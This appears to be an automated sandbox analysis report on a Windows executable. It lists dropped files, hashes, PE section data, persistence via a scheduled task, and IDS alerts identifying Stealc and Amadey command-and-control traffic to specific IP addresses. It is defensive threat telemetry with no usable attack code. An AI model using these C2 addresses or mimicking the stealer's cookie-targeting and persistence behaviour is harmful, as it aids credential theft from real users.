SHA-512:	C544BB58E662F74FBF24E7559CD3FB9801BF3E821875CAA4703DCBA38E7721E93CEDFA3F605D54A5A778E6C9FD95640BFA5DA9B47DB9A5560BCA0151B6C60128
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IvY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VvY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VvY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VvY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.........../........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 21:06:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9960165901591465
Encrypted:	false
SSDEEP:	48:8pdiTuOuHBidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbcy+yT+:8+PxT/TbxWOvTbcy7T
MD5:	A91F230CD50FB53640D85B2B9DFBDCBC
SHA1:	BEDCAC8AA1C10142EC16080758A49E04DFD354BE
SHA-256:	84E4C843BD922CA61C5CEF48FFDE447E600254610C110705E775AE7F86A37F3B
SHA-512:	F1E6DC8B151992FC57D3C3338F9263DFF9ECE893CB569DC5461A2198E455C6B85EEEBDC11D09DD0AE02FE2EE7581372A578FCE90FDD1CD978F969595A3108B20
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....%.=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IvY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VvY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VvY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VvY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.........../........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsHCAFIJDGHC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1905152
Entropy (8bit):	7.954963790013164
Encrypted:	false
SSDEEP:	49152:8tuhGDlAAtP2OTwRY+n9EK74Mzmu3uEeKo6m:quEGY+n9EKGKo6m
MD5:	642A88E4846A4148E7A4BED5A1F988A2
SHA1:	1E02B5843578247066CA9017B345ECB511BDC3BA
SHA-256:	7B98DD28B55E84671D52943A82B7919967C4C825AC6BD69C2DFDADFCCB986747
SHA-512:	E82A2D6BD293DE9775AB69A0ECBB68E152DD2C1C12AC324503351C942709599EA7741259903E3AD2F6532BF54F4328EF22D47AEF3137465375BB585FF15564D3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................pK...........@...........................K...........@.................................W...k.......H...................(SK..............................RK..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..*.........................@...wajwbeif.....`1.....................@...joqbkyeg.....`K.....................@....taggant.0...pK.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsHCAFIJDGHC.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.393253256518978
Encrypted:	false
SSDEEP:	6:daNDEmX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lBzlLevEt0:dIDEEuQ1CGAFifXVBzoEt0
MD5:	F04F72BA9571F92567F0A1B779F157BF
SHA1:	903496F4CD0BA518FBB08A8219E56A46E5333A82
SHA-256:	AB9BD41FDF37AD90DF45788174E39B77B68B66AAE33592E1BB636D8C9F34A700
SHA-512:	5C7B041FC3A9FC9BF2000663A853CF5F9F309ECCF0B8578463728A0CE8E40F9E48266D093D52E589E4726CBF9168D0BC949040D891E4CCB62695C0A6C9A4893F
Malicious:	false
Preview:	....... .HK..b.h-a.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (803)
Category:	downloaded
Size (bytes):	808
Entropy (8bit):	5.157061827034804
Encrypted:	false
SSDEEP:	24:HMYSMUqSQBHslgT9lCuABuoB7HHHHHHHYqmffffffo:HMYh4QKlgZ01BuSEqmffffffo
MD5:	8944344189A449664B53A0A99EFF1C91
SHA1:	A8F16F824152495258C2FFF4F9EEBCE0D112662D
SHA-256:	B3F3BA0C740C7F4E145D4898B9B6A94E28E3E0525A6BBE8AD694F01357B5449B
SHA-512:	A1B2AB867263871380AD843E26318178DB0BA965DD50E3A962CA2EA7E8E3C575B20F53656096DF30BF60F6A424849739D1F9DAB894A9170889688D007F0CD02F
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["china aircraft carrier satellite images","kith batman collection","ripple xrp price prediction","new jersey school closings","nyt strands hints november 22","bryce underwood michigan football","magnetic north pole shifting","duct taped banana art"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132981
Entropy (8bit):	5.435419723208747
Encrypted:	false
SSDEEP:	3072:fHkXyPqO7UX1Hme9kZbs4Voc52SnXqwQ2i6o:foyWFHrp4Voc52SnawQ8o
MD5:	3D3F36D19F41026AC217C81422AD31E0
SHA1:	F44C5CD642C0FA97CD79899947E61F124FE527C4
SHA-256:	816B83496893556CF1C219F9D316A0548CFA70DCE589720E05A7B6D2F4793C08
SHA-512:	84F1B219CBD610868B4568B5A5D112302F5C8CA0CBEA5BB4A91421C56100A7CC8435FFDD9B5B6F637A177C99583C00746406E5E46DA2200513BABAED5B058C7E
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947180573088057
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'827'328 bytes
MD5:	e0907cecf84597ff5476178c7addd920
SHA1:	d8deb30212420bf1ef69199146d869cf5408e836
SHA256:	08dc99ba8da04f16d328f32f11c7721366ecfaafd04c21e7b3c0a3a2eb794dae
SHA512:	8c51b90d7aef29a5f3e7fe4410035fbdc876d4a4966e119cecdef672fa6abe652762faec5d214cd210ed9c185083718946a8434a0d0fe24a20ac9793339f1336
SSDEEP:	49152:4yh6egfj+MefPacdainejo0OeG3gMcHgv/5yD:4yh61fj+5yc0JpNFTE/wD
TLSH:	C08533866C91D0FFEDAAC6B31C879D9A26EE2381945EC7A295C1713D050A3FCE133D94
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE350D8F84Ah
xadd byte ptr [ebx], bl
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	32b438d4aaa9aad1fd40be66e8d6f3b6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	14cf73490739fc778411ff24ca15c529	False	0.79296875	data	5.998224562067086	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b2000	0x200	8a242a0ddd70c93e1ca178dce22a8b2b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ojfapqbx	0x4fe000	0x1a5000	0x1a4400	84d27d463df5da7826ecf85941ff630b	False	0.9949533620240928	data	7.95494290391799	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uhwqlooz	0x6a3000	0x1000	0x400	a9dc8a50c91f4b259308bd552c613838	False	0.828125	data	6.338663432418477	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a4000	0x3000	0x2200	6d9e5383cf2725d9fa54b275e06dfd64	False	0.087890625	DOS executable (COM)	1.1529612667659968	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6a219c	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-22T23:06:05.683565+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-22T23:06:06.124779+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-22T23:06:06.262898+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-22T23:06:06.584937+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-22T23:06:06.706195+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-22T23:06:08.054816+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-22T23:06:08.765013+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-22T23:06:31.255944+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-22T23:06:33.285427+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-22T23:06:34.757077+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-22T23:06:36.101220+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-22T23:06:40.000010+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-22T23:06:41.087087+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-22T23:06:47.270041+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49901	185.215.113.16	80	TCP
2024-11-22T23:08:06.022583+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50097	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 22, 2024 23:05:57.534898043 CET	49674	443	192.168.2.5	23.1.237.91
Nov 22, 2024 23:05:57.534904957 CET	49675	443	192.168.2.5	23.1.237.91
Nov 22, 2024 23:05:57.659859896 CET	49673	443	192.168.2.5	23.1.237.91
Nov 22, 2024 23:06:03.780196905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:03.899856091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:03.899944067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:03.900203943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:04.019731998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:05.230861902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:05.230995893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:05.233972073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:05.353501081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:05.683476925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:05.683564901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:05.685539961 CET	49704	80	192.168.2.5	185.215.113.206
